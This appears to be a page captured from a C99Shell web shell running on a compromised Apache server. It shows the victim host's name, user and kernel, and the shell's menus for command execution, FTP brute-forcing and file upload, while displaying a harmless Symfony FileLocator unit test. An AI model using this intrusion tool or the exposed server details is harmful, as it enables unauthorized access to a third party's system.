!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php55/usr/share/pear/test/Config/Symfony/Component/Config/Tests/   drwxr-xr-x
Free 293.99 GB of 429.69 GB (68.42%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FileLocatorTest.php (3.57 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Config\Tests;

use 
Symfony\Component\Config\FileLocator;

class 
FileLocatorTest extends \PHPUnit_Framework_TestCase
{
    
/**
     * @dataProvider getIsAbsolutePathTests
     */
    
public function testIsAbsolutePath($path)
    {
        
$loader = new FileLocator(array());
        
$r = new \ReflectionObject($loader);
        
$m $r->getMethod('isAbsolutePath');
        
$m->setAccessible(true);

        
$this->assertTrue($m->invoke($loader$path), '->isAbsolutePath() returns true for an absolute path');
    }

    public function 
getIsAbsolutePathTests()
    {
        return array(
            array(
'/foo.xml'),
            array(
'c:\\\\foo.xml'),
            array(
'c:/foo.xml'),
            array(
'\\server\\foo.xml'),
            array(
'https://server/foo.xml'),
            array(
'phar://server/foo.xml'),
        );
    }

    public function 
testLocate()
    {
        
$loader = new FileLocator(__DIR__.'/Fixtures');

        
$this->assertEquals(
            
__DIR__.DIRECTORY_SEPARATOR.'FileLocatorTest.php',
            
$loader->locate('FileLocatorTest.php'__DIR__),
            
'->locate() returns the absolute filename if the file exists in the given path'
        
);

        
$this->assertEquals(
            
__DIR__.'/Fixtures'.DIRECTORY_SEPARATOR.'foo.xml',
            
$loader->locate('foo.xml'__DIR__),
            
'->locate() returns the absolute filename if the file exists in one of the paths given in the constructor'
        
);

        
$this->assertEquals(
            
__DIR__.'/Fixtures'.DIRECTORY_SEPARATOR.'foo.xml',
            
$loader->locate(__DIR__.'/Fixtures'.DIRECTORY_SEPARATOR.'foo.xml'__DIR__),
            
'->locate() returns the absolute filename if the file exists in one of the paths given in the constructor'
        
);

        
$loader = new FileLocator(array(__DIR__.'/Fixtures'__DIR__.'/Fixtures/Again'));

        
$this->assertEquals(
            array(
__DIR__.'/Fixtures'.DIRECTORY_SEPARATOR.'foo.xml'__DIR__.'/Fixtures/Again'.DIRECTORY_SEPARATOR.'foo.xml'),
            
$loader->locate('foo.xml'__DIR__false),
            
'->locate() returns an array of absolute filenames'
        
);

        
$this->assertEquals(
            array(
__DIR__.'/Fixtures'.DIRECTORY_SEPARATOR.'foo.xml'__DIR__.'/Fixtures/Again'.DIRECTORY_SEPARATOR.'foo.xml'),
            
$loader->locate('foo.xml'__DIR__.'/Fixtures'false),
            
'->locate() returns an array of absolute filenames'
        
);

        
$loader = new FileLocator(__DIR__.'/Fixtures/Again');

        
$this->assertEquals(
            array(
__DIR__.'/Fixtures'.DIRECTORY_SEPARATOR.'foo.xml'__DIR__.'/Fixtures/Again'.DIRECTORY_SEPARATOR.'foo.xml'),
            
$loader->locate('foo.xml'__DIR__.'/Fixtures'false),
            
'->locate() returns an array of absolute filenames'
        
);
    }

    
/**
     * @expectedException \InvalidArgumentException
     */
    
public function testLocateThrowsAnExceptionIfTheFileDoesNotExists()
    {
        
$loader = new FileLocator(array(__DIR__.'/Fixtures'));

        
$loader->locate('foobar.xml'__DIR__);
    }

    
/**
     * @expectedException \InvalidArgumentException
     */
    
public function testLocateThrowsAnExceptionIfTheFileDoesNotExistsInAbsolutePath()
    {
        
$loader = new FileLocator(array(__DIR__.'/Fixtures'));

        
$loader->locate(__DIR__.'/Fixtures/foobar.xml'__DIR__);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.096 ]--